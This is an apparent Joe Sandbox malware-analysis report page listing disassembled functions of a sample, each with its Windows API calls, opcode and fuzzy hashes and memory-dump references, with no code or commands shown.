Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: 42d10fd19e513706bf7afea668c892ad2436215e9f422b1b528f07610e7ed3a9
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: F6E08658E09103A6FF14FBF2580B07497919FC8750BC440B0D90DC6252DE2CD4457731

Function 00007FF73A2104B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF73A21051B
GetLastError.KERNEL32 ref: 00007FF73A210525

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: 20e40f0753c95a71a5db3ef8c65456ae7a8f0c99a2f2d14c86fb6b2a78428443
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: 92110B28F0C24261FEA4B76569D727D92D15FD4764FC401B4DA2E463C2DD6CE880B322

Function 00007FF73A2320D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF73A2320E2

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
Instruction ID: 6446c8e51a263df10d96a6400da2b54a60619c33cd3ebb4c9f640837bd01f62f
Opcode Fuzzy Hash: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
Instruction Fuzzy Hash: EA41822AB08641A6FB10EF61E0417ACA3B0EB64B84F844575CF0D57786CF7CE495E360

Function 00007FF73A1F8FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF73A1F8FD4

Part of subcall function 00007FF73A1F9164: GetModuleHandleExW.KERNEL32 ref: 00007FF73A1F9184
Part of subcall function 00007FF73A1F9164: GetProcAddress.KERNEL32 ref: 00007FF73A1F919A
Part of subcall function 00007FF73A1F9164: FreeLibrary.KERNEL32 ref: 00007FF73A1F91BF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: 4942f7f539b38457cc4aa0b73f8d6f3a7a45c3a10499d4e398918d8a83718b2f
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 6541F22DE09693A2FB24FB94E442178A264AF84740FD444B5EA0E476D1DE3DE881B360

Function 00007FF73A216D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A216D34

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: 2b765bb8fc28b0f65a1253ac186d66d9f9d868473ff53c669c5ff162044216f8
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: 9D21063660868297FB65AF28E84237DB6A1EBC0B90F544234EA5D876D5DF2CD800EB10

Function 00007FF73A2048E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A204835

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: 402536fe89509f9fa9c263bc7df2de8750b897ca8a8aa2a5e7fc8e94cd717541
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: BB219825A0C68291FA61FF11980217ED2A0BFD5B84F948470EE4C57B86DF7CD941B761

Function 00007FF73A20E258 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20E28C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction ID: 7b3ce347e12bb698645c9aaf4b7afdb481d6cff8a04d87fe50588f09a1e528b4
Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction Fuzzy Hash: 6011813A90C782AAF620FB54A442139E2A4FBC4380F8400B5E68D47791DF3CE880B722

Function 00007FF73A210414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: c94c482b72a269a8bacbb7f229b608eae66184e3c51e3ee3915606196d4b9159
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 051130AAA0C646A6FA15BF55D8422ADF761ABC4750FD04172EA4D066D6CF7CE000FB21

Function 00007FF73A2048EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A204909

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: 9bf2d00b2f01f9ca9ba1bd1cc100d82356d265c029f7bffa3adcabc77c3b4c37
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: 4A018429E0820B61FD28FA75991337891505FE4764FA483B0E92D462D2CE3CE8417322

Function 00007FF73A204970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A204999

Part of subcall function 00007FF73A2048EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A204909

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: baf827a26d81fd41364adb1ba4d6e1d2b3eafa3d643ed90da9a18991256da94c
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: 7BF0BB25A0C14765F924F775750327DE2905FD0754F94D270F95D862C7CE2CD441B632

Function 00007FF73A1D652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A204970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A204999

FreeLibrary.KERNEL32(?,?,?,00007FF73A21C8FE), ref: 00007FF73A1D656F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: 1b86d7565f9fc430fc27f39e257526fd9b834dec949321016f2f8d220f695c0f
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: 30F0B457A2560592FF19FF70E0523386370BB54F48F5408B0C91D46148CF2CD494E351

Function 00007FF73A1F4C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73A1F4C5C

Part of subcall function 00007FF73A1F5600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF73A1F5609
Part of subcall function 00007FF73A1F5600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF73A1F561A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: ad801c2c3584bf2bf8cc338021b3875574537b688fb6d0f9b5ce0c86e08b9346
Instruction ID: d36566c33a163713f1c265c712e97348bbeeb6af415e534c738b36d407347935
Opcode Fuzzy Hash: ad801c2c3584bf2bf8cc338021b3875574537b688fb6d0f9b5ce0c86e08b9346
Instruction Fuzzy Hash: 96E0EC48E1F18765FF68B562394707881640FA83B0ED82BB0DB7E452C7BD1CB4517130

Function 00007FF73A1D3EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF73A1D3ED8

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: d525b30d86be4d85bafee7144fe49d564f5345dd50a0e1b41b161592f731a5cf
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: 4FE09226B0864295E721AB25E5853A8A3A5BB8CBC4F844031FE8C4375ACD6CC5849A10

Function 00007FF73A1D5D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF73A1D5DDE

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: 01276a8ddd7320b295208a59375d11c40cfa85237a161d20aa83b723d50a8394
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: FCF05E2591DB8297F361AB54E405365B6A4F7C4308F840175D5CD07395CE3CD305EB60

Function 00007FF73A1D1080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D7920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF73A1D109E), ref: 00007FF73A1D7A75

_onexit.LIBCMT ref: 00007FF73A1F4F10

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: dea86e459ae904febffb9177891cf78dda91c02e897b1d381a2093ef0aaf550e
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: 98E08C59F1E58BA1FA04B769AC8717492B0AFA2345FC056B6C10C82252DE1CD292B320

Function 00007FF73A1D1048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF73A1F4F10

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: 7016c222a45e1aaad6d1096fd396c55170e63e8c19721f5f52e9788aec264158
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: 21C01209E5E08BA1F60873BA6C870B441A04FF9300FD00BB5C10D80282CD0C51E67731

Function 00007FF73A1D1064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF73A1F4F10

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: dbbfcb5c75ac44f2a1e842555eddd45c0ca62f6515d7d27d4ec13cd9974104a5
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: 52C0120EE6F08BA0F60873BE5C8707841B04FF5300FD402B5C10D80282CD1C52E67631

Function 00007FF73A1D10E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1F1D80: GetVersionExW.KERNEL32 ref: 00007FF73A1F1DC8
Part of subcall function 00007FF73A1F1D80: GetCurrentProcess.KERNEL32 ref: 00007FF73A1F1F42
Part of subcall function 00007FF73A1F1D80: IsWow64Process.KERNEL32 ref: 00007FF73A1F1F52

_onexit.LIBCMT ref: 00007FF73A1F4F10

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: b4e2223213d3632d19324a01df003e91d7042e2a4bffcfa22105919f1037b888
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: 21C0C908E6F08BA0F60873BA58870B441B04FA5300FD002B6C20D80282DD0C51E63631

Function 00007FF73A20DDA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF73A20DDFD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction ID: de380b99c999a5ce37f0b9115b524317851dea27e337bdb796515d02873ba4e8
Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction Fuzzy Hash: AEF04F4DB0A347A1FE54B76558122B592945FD4B40FC846B0CD0E862C5DE2CE481B231

Function 00007FF73A20C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF73A20C55A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

